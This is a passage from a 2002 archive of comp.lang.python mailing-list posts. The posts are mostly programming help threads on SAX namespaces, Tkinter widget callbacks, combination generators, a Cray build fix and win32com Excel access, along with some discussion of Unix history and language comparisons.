Then you just have the same versioning problems you get with Perl, and no need to distribute in installer form. Although there's no reason why installer distribution shouldn't continue to work just like it does now. Does the Windows environment include Perl by default? How do you distribute your applications to Windows users? regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From fperez528 at yahoo.com Wed May 1 16:52:53 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Wed, 01 May 2002 14:52:53 -0600 Subject: Polymorphing - how? References: <hjk0duk7aj6bcmi3tkdqnasui6bl593j8t@4ax.com> Message-ID: <aapkns$t74$1@peabody.colorado.edu> delete .PL wrote: > I would like to execute functions which names will be changed during > runtime. The following approach does not work. :-( > > def First(s): > print "myFun1: %s" % s > def Second(s) > print "myFun2: %s" % s > name = 'First' > name = First Functions are first-class objects in Python, you can assign them to a variable just like anything else. Cheers, f. From loewis at informatik.hu-berlin.de Thu May 2 09:05:23 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 02 May 2002 15:05:23 +0200 Subject: startElementNS References: <aaqtoe$gvv$03$1@news.t-online.com> Message-ID: <j4d6weaeek.fsf@informatik.hu-berlin.de> "Achim Domma" <achim.domma at syynx.de> writes: > can somebody give me a minimal example how to use namespace processing with > SAX ? This works for me: from xml.sax import make_parser, ContentHandler from xml.sax.handler import feature_namespaces import StringIO class MyHandler(ContentHandler): def startElementNS(self, name, attrs, attrsNS): print "Start",name, attrs, attrsNS doc = "<bar:foo xmlns:bar='http://www.loewis.de/demo'/>" p = make_parser() p.setContentHandler(MyHandler()) p.setFeature(feature_namespaces, 1) p.parse(StringIO.StringIO(doc)) Regards, Martin From kragen at pobox.com Wed May 22 03:25:17 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 22 May 2002 03:25:17 -0400 Subject: "One Bullet is never enough" Paper References: <3CE5AFD3.32D59F@tundraware.com> <uecf5h5b7a67c1@news.supernews.com> <3CE68BAA.726DA1A6@engcorp.com> <e81be8b2.0205191833.1c98570c@posting.google.com> <3CE88785.B9042718@tundraware.com> <slrnaeh8il.gf3.philh@comuno.freeserve.co.uk> <dH2G8.189$l62.6959@ozemail.com.au> <838z6epblf.fsf@panacea.canonical.org> <3CE9BC7F.A3565ADE@tundraware.com> <3CE9C990.3064C01C@cascade-sys.com> <mailman.1021955796.19867.python-list@python.org> <3CE9DEEE.96554CE2@tundraware.com> <3CEA7B5C.181E761C@noaa.gov> <mailman.1022022279.32016.python-list@python.org> Message-ID: <837klwiqzm.fsf@panacea.canonical.org> "James J. Besemer" <jb at cascade-sys.com> writes: > The Unix platform vendors had plenty of opportunities to unite and > forge inter operability and other standards. But IIRC each and > every time a group rose up to form an industry standard for GUI or > whatever, it wasn't long before a second competing group rose up in > direct opposition. Motif vs. Open look, PowerOpen, POE, COSE, > X/Open, POSIX, etc. I don't recall all the names and battles but > for someone like myself who was rooting since the 70's for Unix to > take over the world, this SNAFU was a tragedy of unspeakable > proportions. And MS had nothing to do with it. Yep, that's exactly right. Unix was on a path to take over the world until about 1985, when AT&T decided to try to make money off of it and made source licenses expensive and hard to get, where before they had been available at nominal cost. >From about 1985 until about 1993, Unix made essentially no technological progress. And then Linux happened. > Why ISN'T there a killer office product on any Unix platform? For the 1980s and early 1990s, offices generally didn't have Unix platforms; Unix ran on proprietary hardware that was therefore several times as expensive as PCs. Even Macs were much cheaper than Unix workstations, despite being built on the same CPU for much of that time. Unix was available for PCs, of course. I suspect it didn't catch on because the software available for it was very limited. > Really, Microsoft was handed their market dominance position on a > platter; they didn't have to cheat to get it. And the reason their > APPs dominate is because they've worked on continually refining and > improving them for almost 20 years. Judge Thomas Penfield Jackson produced a 70-page document describing, in detail and with extensive sources, how Microsoft cheated to get their present position of market dominance, and why their apps dominate; you should read it. From mjoc at delfi.lt Fri May 10 17:45:49 2002 From: mjoc at delfi.lt (Martynas Jocius) Date: Fri, 10 May 2002 23:45:49 +0200 Subject: progress && loop Message-ID: <pan.2002.05.10.23.45.47.659527.4262@delfi.lt> Hello, I'm writing a program in python and my question can be applyed for any other program using GUI toolkit (I use pygtk). I have a progress bar and timout function. I have a loop: i = 0 while i < 10: # do some action, for example exec a shell program add_timeout(...) # This sets a progress bar timeout for some # action. For example I'm execing mpg123 in # a shell and playing an mp3 file. # Progress bar shows how much it is already # played. # I want to sleep() or something there until timeout returns FALSE, # then continue the loop with i=1,2,3 etc i += 1 So I don't know how to do that. If I check for executed program is done and continue the loop if it's still working, I get a loop with a big percent CPU usage and Gtk Window "sleeps" until the loop is over. I could'n find any example how to do that, I know it is possible. For example "grip" do something what I want, but it's C code is too hard for me and I'm searching for simpler exmample, maybe in python. Thanks a lot for help. From tim.one at comcast.net Sat May 11 14:26:58 2002 From: tim.one at comcast.net (Tim Peters) Date: Sat, 11 May 2002 14:26:58 -0400 Subject: idle and the devil In-Reply-To: <kSbD8.12690$d7.4319171@newssrv26.news.prodigy.com> Message-ID: <LNBBLJKPBEHFEDALKOLCCEOGPEAA.tim.one@comcast.net> [Siegfried Gonzi, reports widespread file corruption after copy+paste, under both IDLE and Emacs on Windows XP] Try another machine. I've never heard of this before, and that it occurs under two programs for you says "machine-specific failure mode" to me. Maybe a flaky memory chip, maybe a bad spot on a disk, maybe a driver conflict, maybe a background program going insane, can't say. But when you see problems nobody else sees, nobody else sees them <0.9 wink>. From fperez528 at yahoo.com Tue May 14 20:48:17 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Tue, 14 May 2002 18:48:17 -0600 Subject: File write/read question References: <78bc9697.0205130907.4288e607@posting.google.com> Message-ID: <absbdk$rfd$1@peabody.colorado.edu> Nathan Hellmers wrote: > test2 = open("test.txt", "r") > a = test2.readline() > int(a) > print a + a > Change to: test2 = open("test.txt", "r") a = int(test2.readline().strip()) print a + a and you should be fine. f. From egbert at bork.demon.nl Wed May 29 05:39:21 2002 From: egbert at bork.demon.nl (Egbert Bouwman) Date: Wed, 29 May 2002 11:39:21 +0200 Subject: Keeping track of modules, classes, methods Message-ID: <20020529113920.A1042@bork.demon.nl> My own memory is pretty bad in many respects, so I have great difficulties in remembering what I have constructed in terms of a growing collection of modules, classes, methods: what they are and can do, and how to relate them, or how they are related. Maybe it is my own fault, I just created chaos. But anyhow, I would like to know if anybody knows tricks, recipees, disciplines or even modules to create and keep up to date some overview over what started as a simple project. IDLE is helpful for drilling down, but not good for the bird's-eye view. Maybe something graphical ... egbert -- Egbert Bouwman - Keizersgracht 197 II - 1016 DS Amsterdam - 020 6257991 ======================================================================== From andrew.henshaw at mail.com Sat May 25 01:29:13 2002 From: andrew.henshaw at mail.com (Andrew Henshaw) Date: Sat, 25 May 2002 01:29:13 -0400 Subject: Ann: Stackless Limbo Dancing Works Fine! References: <B90D45DB.A63E%pereira@cis.upenn.edu> <ueji35ihipuee3@corp.supernews.com> <B9102353.A917%pereira@cis.upenn.edu> <mailman.1022272724.8315.python-list@python.org> Message-ID: <ueu89e5dafsmb3@corp.supernews.com> Niki Spahiev wrote: > Hello Fernando, > > Tuesday, May 21, 2002, 11:16:19 PM, you wrote: > > FP> On 5/21/02 12:07 AM, in article ueji35ihipuee3 at corp.supernews.com, > "Andrew FP> Henshaw" <andrew.henshaw at mail.com> wrote: >>> An Occam channel is very simple and was implemented efficiently in the >>> Transputer's microcode. I suspect that having only a single >>> transmitting >>> process and a single receiving process simplifies that task. As I said >>> before, I believe that this holds for CSP also. > FP> I can't find my CSP book, but from memory I don't think this is > correct. FP> Through || (PAR), it is possible for several concurrent > processes to attempt FP> to read or to write on the same channel. Then the > channel implementation FP> needs a queue to hold all the blocked processes > until a complementary event FP> occurs, at which point one of the pending > requests is matched to the event FP> and the blocked process becomes > runable. > > IIRC transputers had 4 ports and special chip which can be programmed to > produce channel to any port of any transputer. So channels can't be > shared. > As Fernando points out, this hardware implementation doesn't actually affect his argument (which I still dispute); however, it actually turns out that channels can be physically shared between parallel* processes on the Transputer. As you might expect, on-chip channel communications are implemented via memory mapping and off-chip channel communications are implemented with links (the ports you spoke of) which are also memory mapped. Since the Transputer doesn't have memory protection, promiscuous processes can access the channels simultaneously*. The Occam compiler will prevent that behavior; but, when programming with C (with Transputer libraries for parallel processing), this technique is used, occasionally. * "parallel" and "simultaneously" are loose terms. The Transputer uses task switching with a microcoded scheduler; so, in general, computations on a single Transputer aren't truly simultaneous. Regards, Andy Henshaw From jdhunter at nitace.bsd.uchicago.edu Wed May 22 13:29:45 2002 From: jdhunter at nitace.bsd.uchicago.edu (John Hunter) Date: Wed, 22 May 2002 12:29:45 -0500 Subject: New to Python - Want code review of simple combination routine References: <mailman.1022084636.6214.python-list@python.org> Message-ID: <m2661gjdkm.fsf@video.paradise.lost> >>>>> "Michael" == Michael Bauers <MichaelB at firstlogic.com> writes: Michael> I am posting a routine I wrote to return a list of Michael> combinations. The input to 'combination' is a list, and Michael> 'n' which represents the number of elements to take in Michael> combination. If you forgot your math, [1,2,3] with n=2 Michael> should give [[1,2], [1,3], [2,3]] I know this is not exactly what you are asking, but you may be interested to see how others have solved the problem: From: http://www.faqts.com/knowledge_base/view.phtml/aid/4526/fid/538 class CombGen: def __init__(self, seq, k): n = self.n = len(seq) if not 1 <= k <= n: raise ValueError("k must be in 1.." + `n` + ": " + `k`) self.k = k self.seq = seq self.empty = seq[0:0] # an empty sequence of this type self.indices = range(k) # Trickery to make the first .get() call work. self.indices[-1] = self.indices[-1] - 1 def get(self): n, k, indices = self.n, self.k, self.indices lasti, limit = k-1, n-1 while lasti >= 0 and indices[lasti] == limit: lasti = lasti - 1 limit = limit - 1 if lasti < 0: return None newroot = indices[lasti] + 1 indices[lasti:] = range(newroot, newroot + k - lasti) # Build the result. result = self.empty seq = self.seq for i in indices: # There is no general way to spell "append an element to a # sequence"; addition requires two sequence arguments. result = result + seq[i:i+1] return result def exhaust(seq, k): g = CombGen(seq, k).get while 1: next = g() if next is None: break print next if __name__=='main': exhaust([1, 2, 3, 4], 2) exhaust([1, 2, 3, 4], 3) exhaust("1234", 3) From chris.myers at ingenta.com Tue May 14 12:44:05 2002 From: chris.myers at ingenta.com (Christopher Myers) Date: Tue, 14 May 2002 12:44:05 -0400 Subject: Unnamed Tkinter object reference? Message-ID: <3CE13ED5.B0D29BC4@ingenta.com> Hello, Python experts! I have an app where I'm building widgets on the fly, and they do not have names, so I can't refer to them to use their methods, but it would be useful to be able to get some sort of temporary handle for a widget to be able to get/set parameters for it. Case in point: I'm building a calendar widget (is there one already?), in a Pmw dialog with Tkinter.Buttons for the days, and I want a click on a button to change the color of that day to red. Then, I can use the Pmw.Dialog's command parameter method to check the dialog for which button is red in order to return the label on the button, therefore giving me the selected date. %< --------- snip ----------- import calendar self.calendarSelectDialog = Pmw.Dialog(master, title = 'Select Date', buttons = ('OK', 'Cancel'), defaultbutton = 'OK', ) # Not yet implented . . . . command = self.execCalDialog ) self.myCalFrame = Frame(self.calendarSelectDialog.interior()) self.myCalFrame.pack() # # Skipped some stuff to remove clutter . . . # # Day column Headings col_cnt=0 for name in calendar.day_name: day_abbrev = name[:2] Label(self.myCalFrame, text=day_abbrev).grid(row=1, column=col_cnt) col_cnt=col_cnt+1 # Buttons for actual days. mc = calendar.monthcalendar(self.y, self.m) # <-- This is a cool method! for i in range(len(mc)): for j in range(7): num = mc[i][j] if num == 0: state="disabled" n = "" else: state="normal" n = `num` Button(self.myCalFrame, text=n, width=2, state=state, command=self.red_day).grid(row=i+2, column=j) # # Skip more stuff # def red_day(self): # How to do this type of thing???? # i.e. How do I tell Python that the thing I want to configure # is the thing that calls this method? me.configure(background="red") %< ---------------------------------------- Thanks in Advance!! -- Christopher Myers, Graduate Software Developer Ingenta, Inc. 12 Bassett St. Providence, RI 02903 ph: 401.331.2014 x 102 em: chris.myers at ingenta.com aim: chrismyers001 From shalehperry at attbi.com Tue May 21 02:28:26 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Mon, 20 May 2002 23:28:26 -0700 (PDT) Subject: Q: going from tuple to comma-separated list? In-Reply-To: <onlG8.9611$U7.115194@vixen.cso.uiuc.edu> Message-ID: <XFMail.20020520232826.shalehperry@attbi.com> > > I realize plotdata is a tuple. So this is the equivalent of me > calling Gnuplot.plot((0, 1, 2)) > Note the double parenthesis... I'm guessing I just need to get > rid of them. Is there a way to convert from a tuple to its > non-parenthesized equivalent? > sounds like you need the apply() builtin. From m.hadfield at niwa.co.nz Tue May 21 18:52:04 2002 From: m.hadfield at niwa.co.nz (Mark Hadfield) Date: Wed, 22 May 2002 10:52:04 +1200 Subject: Building Python on Cray T3E References: <abfi4r$77b$1@newsreader.mailgate.org> <mailman.1021005798.17369.python-list@python.org> <lkhelg74ts.fsf@pc150.maths.bris.ac.uk> <absu94$vn5$1@newsreader.mailgate.org> <lkg00tr10o.fsf@pc150.maths.bris.ac.uk> <mailman.1021595314.25214.python-list@python.org> <lk7km3p378.fsf@pc150.maths.bris.ac.uk> <ac7bkq$l4v$1@newsreader.mailgate.org> Message-ID: <acej75$c0g$1@newsreader.mailgate.org> I can report success building another module on a Cray T3E Previously, compilation of md5module.c and md5c.c failed because symbol UINT4 was not defined. Cray T3Es *do* have an unsigned 4-byte integer data type (short), but the code in md5.h wasn't finding it. So I changed it to the following /* UINT4 defines a four byte word */ #if SIZEOF_LONG == 4 typedef unsigned long int UINT4; #elif SIZEOF_SHORT == 4 typedef unsigned short int UINT4; #elif INT_MAX == 2147483647 typedef unsigned int UINT4; #endif Now the md5 module is built and passes its tests. I'll enter this in the SourceForge bug tracker. -- Mark Hadfield "Ka puwaha et tai nei, Hoea tatou" m.hadfield at niwa.co.nz National Institute for Water and Atmospheric Research (NIWA) From mikeb at mitre.org Mon May 27 20:06:57 2002 From: mikeb at mitre.org (Mike Brenner) Date: Mon, 27 May 2002 20:06:57 -0400 Subject: win32com Excel problem Message-ID: <3CF2CA21.98A990FF@mitre.org> Tom Wiencko <tew at wiencko.com> wrote: ># old method I don't use any more > def getCell(self,row,col,sheet=None): > ... > ># new method I use exclusively > def getRange(self,row1,col1,row2,col2,sheet=None): I can't verify your failure, but I can attest to the fact that reading in a large rectangle is tremendously faster than reading in one cell at a time. There is a large overhead for each call to Cells. That same observation holds for reading the Interior.Color and the Boundaries(Top).Color. If you want to read a block of colors, copy the block to another block; then set the value of that new block in Visual Basic to each cells Interior.Color; then, from python read in the whole block. Same for the boundaries (I use the top boundary color of each cell). It would be nice to control this, especially for colors and boundaries which do not have a corresponding block method available to Python. From kseehof at neuralintegrator.com Sat May 4 20:43:27 2002 From: kseehof at neuralintegrator.com (Ken Seehof) Date: Sat, 04 May 2002 17:43:27 -0700 Subject: making python scripts backwards compatible In-Reply-To: <XFMail.20020504132142.shalehperry@attbi.com> Message-ID: <EFEFIHAINIINNELLHFAIOEMMCDAA.kseehof@neuralintegrator.com> Shaleh wrote: > On 04-May-2002 J.Jacob wrote: > > I would like to make a request. > > > > Today I spent again some time converting python code. It > > was in the SimpleXMLRPCServer.py file. I wanted to use it > > remotely on another computer but it gave errors because of > > list comprehension and using the "".method() syntax > > instead of importing string. The reason was that other > > computer was still running python 1.5.2. I could not > > upgrade the remote computer (no root access) and even if i > > could the problem would come up soon again when the > > (mobile agent-)program relocated. > > > > I agree, it is quite annoying. > > It is pretty easy to write a python script to catch a lot of > this. += and its > friends can be programmatically turned into a = a + .. same goes > with string > methods. > > list comprehensions however require human intervention. A bigger > problem is > the change in scope rules. > > I find it particularly annoying that the python group makes this > assumption we > are all running last week's python. Not everyone owns the machine their > scripts run on. That's a nice sentiment, but you need to keep in mind who creates the code you are complaining about. Occaisionally I make something available as open source. Generally the software is something I wrote to solve a particular problem for me. If I don't need it to run on python 1.5.2, it doesn't. If I had a policy of making all my code run on 1.5.2, I would simply never download newer versions of python. But I happen to like some of the new features. On the other hand, if people want their code to be usable by others it doesn't hurt that much to make it run on some more recent version. Also, if you pay me to write python code for you, I will use whatever version you want. Making python programs run on 1.5.2 means not using any python enhancements created in the last few years. For some volunteer programmers, that's too high a price to pay. Perhaps a better solution in the long run would be to encourage everyone to make sure none of their code runs on old python versions. This will eventually pressure people to upgrade :-) This thread reminds me of a customer who was unwilling to upgrade his CP/M machines, and was really annoyed that anyone would create any of them newfangled machines :-) Speaking of which, when's python for the Kaypro coming out? Time marches on-ly yrs, - Ken From whisper at oz.net Wed May 22 20:19:04 2002 From: whisper at oz.net (David LeBlanc) Date: Wed, 22 May 2002 17:19:04 -0700 Subject: Why is this question so beloved? Re: Is python really slow? In-Reply-To: <b62b39cb.0205221415.1138d457@posting.google.com> Message-ID: <GCEDKONBLEFPPADDJCOEIEEADEAA.whisper@oz.net> Chris; Sorry, I had meant this to start a new thread. No attempt to redicule your query was intended. If by now you've decided to use Python, that's great. If not, here are a few reasons to select it in comparison with Perl and C. Syntax: Python and C have a cleaner syntax then Perl. This leads to better maintenence, updates/enhancements and reuse of code. That, over the term of an application is one kind of performance advantage. Modularity: Both Perl and Python have (IMO) cleaner modularization features with perl modules and Python packages compared to C's comparative lack of any such feature. I think Python gets a plus here with sub-packages, but I don't know that Perl doesn't also offer that. Performance advantage is that modularization supports easy construction and maintenence of larger applications. Ease: Of the three, Python is by far the easiest to use. Perl has an interactive mode of sorts, but i've never seen or heard of it being used or promoted much. With C you get the whole edit/compile/debug/edit/compile/debug... cycle. With Python you can code a little, debug a little, code a litte... Python's interactive console mode facilitates writing quick snippets of code to check out how something works or to confirm an idea. Performance gain is rapidity of prototyping. Friendliness: C bites (and it's been biting me for... 20ish years now :) ). C's basic syntax isn't hard, but some of the semantics are troublesome for beginners and that makes the learning curve steeper. C's use of pointers is probably the best example of this type of issue. Perl has the problem that there are so many ways to do things and some of those things treat variables differently depending on something as minor as using @ vs. # (or was it $...). Python generally has one simple way to do most anything you want to do. Building upon tested code is a perfomance gain in development. Conciseness: Yes, it's true, you can write a perl program that looks like a keyboard spewed every punctuation character and combinations thereof and it will do wizardly things - and you'll puzzle out how to rewrite it every time you walk away from it for more then a week when it needs fixing or modification. Python is less concise in this regard then Perl, but far more consise then C. It's big gain over C is the availabilty of more intrinsic datatypes and means of slicing and dicing those datatyes. (An associate claims he turned 4,000 lines of Java into 400 lines of Python code that did the same thing.) Performance advantage is writing less code to get more done. Speed: C is the odds on winner here, as would any compiled language. When comparing any byte code interpreted language (Java, Tcl, Perl, Python), it is possible to write a benchmark that underscores the performance advantage of particular features of a language and that's where the red faces and hand waving starts. Benchmarks also tend to be artificial and don't reflect reality well. Raw speed - "bytecodes per second" - is probably the least useful of metrics when evaluating the overall performance of a language. Having said that, in all the Python vs. <other favored language(s) here>, Python's numbers clump pretty closely with other like-implemented languages, including Tcl (bytecoded versions), Perl and Java. Extensibility: Whatever "scripting language" you use, at some point you're going to encounter that 2% of your code that just isn't fast enough in that language and you're either going to have to abandon that language in favor of a compiled language (such as C) or write an extension for your interpreted language to do the part that has to be fast. One of the design goals for Perl 6 is to make extending Perl easier - reportedly it's challenging to do with Perl 5 and below. Python makes a point of being both extensible (and embeddable) and provides a well documented API for writing extensions. In C _everything_ is an extension :-). All three languages offer an extensive array of 3rd party libraries/packages/modules which include compiled extensions for performance enhancement, so chances are you're never going to have to write an extension anyway unless you're doing something very esoteric and/or proprietary. The advantage here is that you can write most of your code in Python with all of the above performance advantages and still have a reasonably easy time of extending it if you ever have to. There are too many other good things about Python to go into them in detail, however one is worth mentioning: neither Perl nor C have intrinsic support for object oriented programming (in Perl, it's a language extension with many flaws, not built-in). I think the performance advantages of OO are well known (and subject to debate: no flames thankyouverymuch), so i'm not going to mention them. Performance is a lot of factors. HTH, Dave LeBlanc Seattle, WA USA From dale at riverhall.NOTHANKS.co.uk Thu May 16 16:53:34 2002 From: dale at riverhall.NOTHANKS.co.uk (Dale Strickland-Clark) Date: Thu, 16 May 2002 21:53:34 +0100 Subject: Unicode File I/O Grief References: <a1u7eu0l24gbvutju856kgcj688avdcphm@4ax.com> <JuTE8.8394$Yg7.1242176@bin4.nnrp.aus1.giganews.com> Message-ID: <e178euok6u74hoqubr3a9k0nc8pr6vd57n@4ax.com> "Terry Reedy" <tjreedy at udel.edu> wrote: >Try it and see. The interactive interpreter makes it trivial to >investigate such questions oneself. > >Terry J. Reedy > > Um...I did. It didn't work. Hence the post. -- Dale Strickland-Clark Riverhall Systems Ltd From vlindberg at verio.net Tue May 28 16:25:08 2002 From: vlindberg at verio.net (VanL) Date: Tue, 28 May 2002 14:25:08 -0600 Subject: Why are types not hashable? Message-ID: <3CF3E7A4.9010103@verio.net> What prevents this from working: >>> import types >>> alltypes = [t for t in types.__dict__.keys() if t[:2] != '__'] >>> typestrings ={} >>> for t in alltypes: typestrings[eval('types.' + t): t] ... Traceback (most recent call last): File "<stdin>", line 1, in ? TypeError: unhashable type Why is <type 'dict'> not hashable? Surely its not mutable? Thanks, Van From john_bradbury at talk21.com Thu May 2 05:35:50 2002 From: john_bradbury at talk21.com (John Bradbury) Date: 2 May 2002 02:35:50 -0700 Subject: xitami LRWP in Python Message-ID: <542d2d1d.0205020135.52abbf66@posting.google.com> I am a Python virgin & want to write a LRWP for xitami in Python (for an in-house Intranet with about 20 users). For starters is this a stupid idea? I need to display records one at time as a form and give the users a "next" button so that they can scroll through the large database table. What is unclear to me is how much Python does for you in a multi-user world. For example, do I have to keep each user's current position in the table as some form of session variable? If I do, how do I re-establish the last position in the table before doing "Next". Do I have to get involved with creating a new thread for each user? Or, does Python handle every thing for you and I should not worry about it? I am reading Steve Holden's excellent book, but the database examples do not seem to handle the situation where you need to retrieve records one at a time. Sorry if these are stupid questions. John Bradbury From john at spamfree.co.uk Tue May 28 11:10:43 2002 From: john at spamfree.co.uk (John Moore) Date: Tue, 28 May 2002 15:10:43 GMT Subject: Dealing with OLE error Message-ID: <1103_1022598643@news.nildram.co.uk> I'm using the WinFax SDK to script WinFax under Windows 2000. I was using VBScript under Windows Script Host but was unable to do everything I wanted with that, so I switched to Python. I now have a total of about 6 hours experience with Python, so please be gentle with me... Anyway, the problem (as with VBScript) comes with the following line, which converts a fax file from WinFax format to something else (in this case TIFF): result=objFXConverter.ConvertFromFX(fullInputFileName,fullOutputFileName) Now, result is an SCODE. With VBS/WSH I wasn't able to do anything with this at all, not even display it, which was my initial motivation for trying Python instead. With Python at least I can compare it with 0 to find if it's worked OK. I was hoping, though, to be able to get a little more useful information if it failed than what I have. At present, I test the result if it's non-zero with: pythoncom.GetScodeString(result) This, alas, does not give me a helpful description of what went wrong, but simply the following not-so-useful string: 'OLE error 0xe0040122' How can I get some more useful information about this? It is worth noting that enclosing the problem line within a try...except block doesn't do anything - clearly a COM exception is not being thrown, merely a non-zero result returned. Any help much appreciated... John From kalle at lysator.liu.se Mon May 13 18:16:45 2002 From: kalle at lysator.liu.se (Kalle Svensson) Date: Tue, 14 May 2002 00:16:45 +0200 Subject: python for this C: "if ((a = b(c)) != NULL)" In-Reply-To: <12257ec4.0205131401.25c63801@posting.google.com> References: <12257ec4.0205131401.25c63801@posting.google.com> Message-ID: <20020513221645.GB4862@i92.ryd.student.liu.se> [David Carson] > So, how do I do this in Python, since I want to avoid running method > b() twice in the case where I want to use 'a' later? a = b(c) if a: # or maybe "if a is not None:" do stuff Peace, Kalle -- Kalle Svensson, http://www.juckapan.org/~kalle/ Student, root and saint in the Church of Emacs. From dmitri.gouliaev at telkel.net Mon May 27 13:17:01 2002 From: dmitri.gouliaev at telkel.net (Dmitri I GOULIAEV) Date: Mon, 27 May 2002 12:17:01 -0500 Subject: Python 2.2.1: os.popen() bug? In-Reply-To: <Pine.LNX.4.44L.0205271547190.29052-100000@ods.pp.ru>; from "Denis S. Otkidach" on Mon, May 27, 2002 at 03:48:33PM References: <3CF21645.C760B615@snakefarm.org> <Pine.LNX.4.44L.0205271547190.29052-100000@ods.pp.ru> Message-ID: <20020527121701.A26241@lifebook> Hi, Denis S. Otkidach ! On Mon, May 27, 2002 at 03:48:33PM +0400, Denis S. Otkidach wrote: > On Mon, 27 May 2002, Carsten Gaebler wrote: > > CG> If I write to a pipe that was opened read-only, python throws an ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > CG> exception, but then the interpreter hangs instead of exiting. Is this > CG> beavior expected or a bug? Consider this example on Linux: > CG> > CG> #! /usr/bin/python > CG> > CG> import os > CG> > CG> pipe = os.popen("mail -s Test foo at bar.org") > > You have opened pipe for reading, try: Exactly. He told he will open a pipe read-only. His question was about interpreter' reaction in this situation. -- DIG (Dmitri I GOULIAEV) All below this line is added by my e-mail provider. From mgilfix at eecs.tufts.edu Sun May 12 01:32:07 2002 From: mgilfix at eecs.tufts.edu (Michael Gilfix) Date: Sun, 12 May 2002 01:32:07 -0400 Subject: progress && loop In-Reply-To: <pan.2002.05.10.23.45.47.659527.4262@delfi.lt>; from mjoc@delfi.lt on Fri, May 10, 2002 at 11:45:49PM +0200 References: <pan.2002.05.10.23.45.47.659527.4262@delfi.lt> Message-ID: <20020512013207.B10230@eecs.tufts.edu> Hiya. Sounds like you want to use the Event () synchronization object in the threading module. That way, you can have your loop wait until something is set and then wake up. You can then set the event every time you want to update the gui. Hope that helps point you in the right direction. Remember to use threads_enter () and threads_leave () from inside your calling thread :) -- Mike On Fri, May 10 @ 23:45, Martynas Jocius wrote: > Hello, > > I'm writing a program in python and my question can be applyed for any > other program using GUI toolkit (I use pygtk). > > I have a progress bar and timout function. I have a loop: > i = 0 > while i < 10: > # do some action, for example exec a shell program > add_timeout(...) # This sets a progress bar timeout for some > # action. For example I'm execing mpg123 in > # a shell and playing an mp3 file. > # Progress bar shows how much it is already > # played. > > # I want to sleep() or something there until timeout returns FALSE, > # then continue the loop with i=1,2,3 etc > > i += 1 > > So I don't know how to do that. If I check for executed program is done > and continue the loop if it's still working, I get a loop with a big > percent CPU usage and Gtk Window "sleeps" until the loop is over. > > I could'n find any example how to do that, I know it is possible. For > example "grip" do something what I want, but it's C code is too hard for > me and I'm searching for simpler exmample, maybe in python. > > Thanks a lot for help. > -- > http://mail.python.org/mailman/listinfo/python-list `-> (mjoc) -- Michael Gilfix mgilfix at eecs.tufts.edu For my gpg public key: http://www.eecs.tufts.edu/~mgilfix/contact.html From loewis at informatik.hu-berlin.de Tue May 14 12:04:19 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 14 May 2002 18:04:19 +0200 Subject: i18n: strftime() with other locale References: <3CE129C4.9000107@thomas-guettler.de> Message-ID: <j4elgera0s.fsf@informatik.hu-berlin.de> Thomas Guettler <zopestoller at thomas-guettler.de> writes: > time.strftime() depends on the current locale. > Is there a way to change the locale for just one > function call? > > It is multithreaded application, and I only want > to change the local for this call. That is not supported. You need to protect all of your calls to strftime with a mutex, and then can change and restore the locale while you hold the mutex. Notice that, in a strict sense, you can't make any other use of the locale while invoking setlocale. However, that *should* work on many C libraries even though it is not guaranteed. Regards, Martin From kalle at lysator.liu.se Fri May 10 06:00:08 2002 From: kalle at lysator.liu.se (Kalle Svensson) Date: Fri, 10 May 2002 12:00:08 +0200 Subject: Building Python on Cray T3E In-Reply-To: <lkhelg74ts.fsf@pc150.maths.bris.ac.uk> References: <abfi4r$77b$1@newsreader.mailgate.org> <mailman.1021005798.17369.python-list@python.org> <lkhelg74ts.fsf@pc150.maths.bris.ac.uk> Message-ID: <20020510100008.GA4643@i92.ryd.student.liu.se> [Michael Hudson] > Kalle Svensson <kalle at lysator.liu.se> writes: > > > [Mark Hadfield] > > > Like several others before me I am trying to build Python on a Cray > > > T3E. > [...] > > There's a join() in unistd.h on UNICOS which collides with a internal > > SRE function. Try this simple patch: > > So does the resulting Python actually work after this? We got this > far with 2.2.1c1, but you never told me if the dang thing worked or > not... Nope, not yet. First I had to disable shared libraries. After that, I've had some linking trouble. I'm getting close now, though. Basically, I have a running Python without any useful modules. By the way, I'm on a Cray J90se with UNICOS 10.0.0.3. I have no idea how (dis)similar this is to a T3E. Anyone? Peace, Kalle -- Kalle Svensson, http://www.juckapan.org/~kalle/ Student, root and saint in the Church of Emacs. From wlsonna at attglobal.net Tue May 21 21:36:15 2002 From: wlsonna at attglobal.net (William Sonna) Date: 22 May 2002 01:36:15 GMT Subject: Jython Swing Basics article References: <FmdG8.97332$9F5.5857363@typhoon.austin.rr.com> <0O7zTzsxerl5-pn2-bxFgitwzkY47@localhost> <xIsG8.112425$Q42.5933249@typhoon.austin.rr.com> Message-ID: <0O7zTzsxerl5-pn2-jQr8JMxPDCgd@localhost> On Tue, 21 May 2002 14:20:13 UTC, Rob Andrews <rob[nospam]@uselesspython.com> wrote: > > > I think your demonstration shows one of the key features of Jython - > > the ablilty to run Swing (as well as JDOM or any other Java library) > > line by line, making it a powerful debugging tool both for both Java > > and Python. > > > > Thanks. I think the ability to use an interactive interpreter is one > awesome feature. In addition to its use in debugging, I think it makes for > a great learning tool. And I couldn't even guess how many times I've used > it for quick system administration and other on-the-spot scripting tasks > that don't need to be saved for later use. > > Rob If you haven't already, you may want to post your demo in comp.lang.java.programmer, also. From fredrik at pythonware.com Sun May 26 08:42:40 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 26 May 2002 12:42:40 GMT Subject: Academic citation for Python References: <3CEEE0D8.7030102@bellatlantic.net> Message-ID: <4L4I8.9196$p56.2659365@newsb.telia.net> Ross Lazarus wrote: > How should the Python language be cited in an academic publication? > > For example, in > http://bioinformatics.oupjournals.org/cgi/reprint/17/8/756.pdf the > author mentions http://www.python.org in the text rather than formally > citing the primary source - or is that the appropriate primary source > and recommended attribution? > > I found "Copyright 1991-1995 by Stichting Mathematisch Centrum, > Amsterdam, The Netherlands" at 